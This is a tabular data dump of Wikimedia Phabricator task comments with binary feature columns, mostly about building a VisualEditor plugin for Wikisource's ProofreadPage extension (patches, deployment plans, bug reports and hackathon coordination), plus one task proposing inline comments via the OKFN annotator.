+This proposal received 41 support votes, and was ranked #23 out of 107 proposals. https://meta.wikimedia.org/wiki/2015_Community_Wishlist_Survey/Wikisource#Visual_Editor_adapted_for_Wikisource",Low,25.0,1364329860,1466598904.0,PHID-USER-5paybpgtxjrhikdos3p5,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-v7kj4prknc3sujshfgg3,task_description,resolved,True,c1,1,False,False,False,-14,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+754599,Create a VisualEditor plugin to integrate with ProofreadPage,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVgmueGyHQCSeVEJeq-D} [2016-11-02T20:27:45Z] <arlolra> updated Parsoid to version 173d7e32 (T149241, T119228, T141723, T141905, T147742, T48580, T133320)",,,1478118471,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,174,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+745231,Create a VisualEditor plugin to integrate with ProofreadPage,"Change 295707 merged by jenkins-bot:
+Allow extensions to handle specific contentmodels.
+
+[[https://gerrit.wikimedia.org/r/295707]]",,,1476648660,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,171,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+683693,Create a VisualEditor plugin to integrate with ProofreadPage,"Change 295707 had a related patch set uploaded (by Cscott):
+Allow extensions to handle specific contentmodels.
+
+[[https://gerrit.wikimedia.org/r/295707]]
+",,,1466695881,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,155,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+683692,Create a VisualEditor plugin to integrate with ProofreadPage,Parsoid support for extensions implementing their own contentmodels at https://gerrit.wikimedia.org/r/295707 ,,,1466695854,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,True,,,155,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0
+682952,Create a VisualEditor plugin to integrate with ProofreadPage,">>! In T48580#2398307, @Osnard wrote:
+> Is there already a place/time made out to work on this during the Hackathon?
+
+Table in Room 12 if you're not there!",,,1466599379,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,True,,,155,,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,1
+682946,Create a VisualEditor plugin to integrate with ProofreadPage,"Change 284681 merged by jenkins-bot:
+Sectioned edit target for page namespace
+
+[[https://gerrit.wikimedia.org/r/284681]]",,,1466598809,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,155,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+682813,Create a VisualEditor plugin to integrate with ProofreadPage,Is there already a place/time made out to work on this during the Hackathon?,,,1466584161,,PHID-USER-khiuzivvgcimpgvedbzf,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,155,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+676717,Create a VisualEditor plugin to integrate with ProofreadPage,"when trying to insert > pages get a 404 error ;' trying to switch to code hangs.
+when refresshing and repeating it saves properly. on chrome browser 
+{F4145216}",,,1465443442,,PHID-USER-uclm66q7d2hquzahxskz,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,153,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+676716,Create a VisualEditor plugin to integrate with ProofreadPage,"when trying to insert > pages get a 404 error
+{F4145216}",,,1465443336,,PHID-USER-uclm66q7d2hquzahxskz,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,153,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+651751,Create a VisualEditor plugin to integrate with ProofreadPage,"@DannyH, you should subscribe to this :-)",,,1461661097,,PHID-USER-jhzyhftzsmppvszocqg2,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,147,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1
+650517,Create a VisualEditor plugin to integrate with ProofreadPage,">>! In T48580#2232258, @coren wrote:
+>>>! In T48580#2228508, @jayvdb wrote:
+>> Is it safe to assume this feature will not suddenly become active and in use in production once code from this task is merged?
+> 
+> It will certainly remain as a beta feature for quite some time, requiring explicit activation.
+
+Well why not activate it on https://test2.wikipedia.org at the very least? The ProofreadPage extension is already 'enabled' there and nobody really uses it for proofreading; just for testing &/or illustrative purposes.
+
+If not, please remember to make the beta ""option"" available there as well.",,,1461460533,,PHID-USER-fflcyhesfpbopooupqa3,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,1,0,1,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1
+650411,Create a VisualEditor plugin to integrate with ProofreadPage,">>! In T48580#2228508, @jayvdb wrote:
+> Is it safe to assume this feature will not suddenly become active and in use in production once code from this task is merged?
+
+It will certainly remain as a beta feature for quite some time, requiring explicit activation.",,,1461417141,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,1
+649672,Create a VisualEditor plugin to integrate with ProofreadPage,"Is it safe to assume this feature will not suddenly become active and in use in production once code from this task is merged?  Sorry that I need to ask ... but I have been unpleasantly surprised in the past (definitely not referring to the developers active on this or related task), and I hope to avoid that occurring in this case.
+
+I think WS folk would like to play with it a little in a test bed before it becomes active somehow, and will need longer than a few days as the deploy process moves from beta/test/prod.
+
+I certainly would be happy to do some QA work on it, if given a decent window to work with.  i.e. I cant make any promises to help if the approach is: it is merged, and will be deployed in three days, happy hunting.",,,1461270188,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,1
+649397,Create a VisualEditor plugin to integrate with ProofreadPage,"Change 284681 had a related patch set uploaded (by Esanders):
+WIP Sectioned edit target for page namespace
+
+[[https://gerrit.wikimedia.org/r/284681]]
+",,,1461240057,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+648944,Create a VisualEditor plugin to integrate with ProofreadPage,">>! In T48580#2214028, @Ankry wrote:
+> We are still waitng for Page namespace support which is the main editing namespace for most wikisources. Moreover, many new wikisourcians edit **only** in the Page namespace. The general trend is to have articles in main namespace automatically or semi-automatically generated basing on data from Index and Page namespaces. So having VE support in main namespace may be a nice feature, but mostly useless.
+
+Indeed.  Having VE there at all was a preliminary requirement, not the end result.  :-)",,,1461168206,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,1
+648120,Create a VisualEditor plugin to integrate with ProofreadPage,"i noted some buggy interaction for the insert > pages, initially rather than subsequenly editing pages template https://www.mediawiki.org/wiki/VisualEditor/Feedback",,,1461083185,,PHID-USER-uclm66q7d2hquzahxskz,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1
+648117,Create a VisualEditor plugin to integrate with ProofreadPage,i noted some buggy interaction for the insert > pages initially rather than subsequenty editing pages template https://www.mediawiki.org/wiki/VisualEditor/Feedback,,,1461083004,,PHID-USER-uclm66q7d2hquzahxskz,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+648108,Create a VisualEditor plugin to integrate with ProofreadPage,i noted some buggy interaction for the insert > pages initially rather than editing pages https://www.mediawiki.org/wiki/VisualEditor/Feedback,,,1461082519,,PHID-USER-uclm66q7d2hquzahxskz,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1
+647298,Create a VisualEditor plugin to integrate with ProofreadPage,">>! In T48580#2213983, @Qgil wrote:
+> What is missing to consider this task Resolved?
+
+We are still waitng for Page namespace support which is the main editing namespace for most wikisources. Moreover, many new wikisourcians edit **only** in the Page namespace. The general trend is to have articles in main namespace automatically or semi-automatically generated basing on data from Index and Page namespaces. So having VE support in main namespace may be a nice feature, but mostly useless.
+",,,1460986863,,PHID-USER-2ji2k3idgmipacu4ftck,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1
+647288,Create a VisualEditor plugin to integrate with ProofreadPage,"What is missing to consider this task Resolved?
+
+I am trying to summarize the progress on this task at https://meta.wikimedia.org/wiki/Wikimedia_Blog/Drafts/WIP_Wikimedia_Hackathon_2016_post#The_connection_with_the_Community_Wishlist. Is there any beautiful screenshot in Commons that we can reuse?",,,1460985360,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,0
+642897,Create a VisualEditor plugin to integrate with ProofreadPage,This was deployed in the new Single Edit Tab mode.  The basic explanation is at https://www.mediawiki.org/wiki/VisualEditor/Single_edit_tab if anyone is looking for information.,,,1460150503,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,144,,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+642135,Create a VisualEditor plugin to integrate with ProofreadPage,"Insert -> Pages -> there is no ""onlysection"" attribute
+
+Z.",,,1460051560,,PHID-USER-zg5ljrw5inhmynt7vcfd,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,144,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1
+642106,Create a VisualEditor plugin to integrate with ProofreadPage,works well in chrome and firefox. saved first new article.,,,1460048163,,PHID-USER-uclm66q7d2hquzahxskz,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,144,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+639846,Create a VisualEditor plugin to integrate with ProofreadPage,">>! In T48580#2173976, @Jdforrester-WMF wrote:
+> Clarification: This will be for all Wikisources, not just frws. :-)
+
+Oh, yeah.  Good point.  It will be available (selectable from the beta features selector) on all Wikisources.
+",,,1459688948,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,143,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,1,0,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1
+639612,Create a VisualEditor plugin to integrate with ProofreadPage,">>! In T48580#2172585, @coren wrote:
+> @Jdforrester-WMF is planning to turn the configuration switch on April 7.
+> 
+> At that point, Visual Editor will become available as a beta feature on fr.wikisource.org for all content namespaces except Page (that's the next part being worked on now).
+
+Clarification: This will be for all Wikisources, not just frws. :-)
+",,,1459667947,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,True,,,143,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,1
+639323,Create a VisualEditor plugin to integrate with ProofreadPage,"Current status: we now have a proper design for Page namespace that is in progress but - as a first step - we now have usable mainspace editing with Visual Editor (including the transclusion tag).  This is currently working on a test server, and is scheduled for the deployment train Tueseday, Apr 5 (and deployed on group 1 that inlcludes the Wikisources on Apr 6).
+
+@Jdforrester-WMF is planning to turn the configuration switch on April 7.
+
+At that point, Visual Editor will become available as a beta feature on fr.wikisource.org for all content namespaces except Page (that's the next part being worked on now).
+",,,1459604047,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,143,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+618733,Create a VisualEditor plugin to integrate with ProofreadPage,"> I will be in Jerusalem, and will concentrate on coordinating work on this task while there (as well as hack on it myself).
+Great! I'll be in Jerusalem too and willing to work on it.",,,1456517911,,PHID-USER-5paybpgtxjrhikdos3p5,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,138,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+618712,Create a VisualEditor plugin to integrate with ProofreadPage,"I will be in Jerusalem, and will concentrate on coordinating work on this task while there (as well as hack on it myself).",,,1456515851,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,138,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+594320,Create a VisualEditor plugin to integrate with ProofreadPage,"IMPORTANT:  **If you are a community developer interested in working on this task:** The [[ https://www.mediawiki.org/wiki/Wikimedia_Hackathon_2016 | Wikimedia Hackathon 2016 ]] (Jerusalem, March 31 - April 3) focuses on #Community-Wishlist-Survey projects. There is some budget for sponsoring volunteer developers. THE DEADLINE TO REQUEST TRAVEL SPONSORSHIP IS TODAY, JANUARY 21. Exceptions can be made for developers focusing on Community Wishlist projects until the end of Sunday 24, but not beyond. If you or someone you know is interested, please [[ https://www.mediawiki.org/wiki/Wikimedia_Hackathon_2016 | REGISTER NOW ]].",,,1453388008,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,True,,,133,,1,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+429530,Create a VisualEditor plugin to integrate with ProofreadPage,@Jdforrester-WMF are you able to add some guidance here?,,,1426811015,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,89,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0
+429209,Create a VisualEditor plugin to integrate with ProofreadPage,"What can we do, as community members, to raise the priority of this? It is **really** important for Wikisource to have the VE active within the Page namespace. It is probably the most needed feature of Wikisource projects, and it would be an important testbed for the VE itself: Wikisource books are heavily formatted, much more than Wikipedia articles. ",,,1426782168,,PHID-USER-jhzyhftzsmppvszocqg2,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,89,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,1,1,0
+212194,Create a VisualEditor plugin to integrate with ProofreadPage,"(In reply to comment #2)
+> This data should be in a queryable format. The current format sucks and should
+> be abandoned. If there's not already a bug filed about this, please file one.
+Done (bug 46724). But before doing anything on this direction, a refactoring of the wikitext edition interface is needed because the current system is closely based on this storage format (bug 46578).",,,1364657586,,PHID-USER-5paybpgtxjrhikdos3p5,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,1,False,,,-14,,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1
+212191,Create a VisualEditor plugin to integrate with ProofreadPage,"(In reply to comment #0)
+> note 1: structure of the page as save in the database:
+> <noinclude><pagequality level=""LEVEL"" user=""LAST PROOFREADER"" />HEADER<div
+> class=""pagetext"">BODY<noinclude>FOOTER</noinclude>
+
+This data should be in a queryable format. The current format sucks and should be abandoned. If there's not already a bug filed about this, please file one.
+
+(In reply to comment #1)
+> How would we go with looking to put the user into the API?  That information
+> would be useful to present through the 'page information' so it is
+> presentable via 'action=info'.  At the moment one has to pull the page data to
+> get the user info, while the proofread status is already captured. Well that
+> is my limited understanding of the data.
+
+action=info is part of index.php, not api.php. That is, the info action is part of the (graphical) user interface, not part of the MediaWiki API. This bug should just be about a single issue. Adding this type of information to the info action can be a dependent bug of this bug. There may be such a page filed already, maybe.
+
+Basically, once the data is queryable, both the info action and the MediaWiki API modules can pull the data out easily. But that's at least three separate bugs (and probably many more).",,,1364449830,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,1,False,,,-14,,1,0,0,1,1,1,1,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+212189,Create a VisualEditor plugin to integrate with ProofreadPage,"How would we go with looking to put the user into the API?  That information would be useful to present through the 'page information' so it is presentable via 'action=info'.  At the moment one has to pull the page data to get the user info, while the proofread status is already captured. Well that is my limited understanding of the data.",,,1364377774,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,1,False,,,-14,,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,0
+48440,Implement inline comment support using OKFN annotator,"Inline comments would be powerful addition to AFT.  It would be something like
+https://en.wikipedia.org/wiki/Stet_%28software%29 integrated into MediaWiki.
+
+I think it would help people make useful comments that could more
+quickly be acted on/resolved.
+
+I realize this would be a large enhancement, but I think it's worth considering at some point in the future.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: http://annotator.wmflabs.org/
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49603",Low,25.0,1363903320,1511275456.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-eyovzj2nicd45d4mqp3j,task_description,resolved,True,c1,1,True,False,False,-15,,1,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
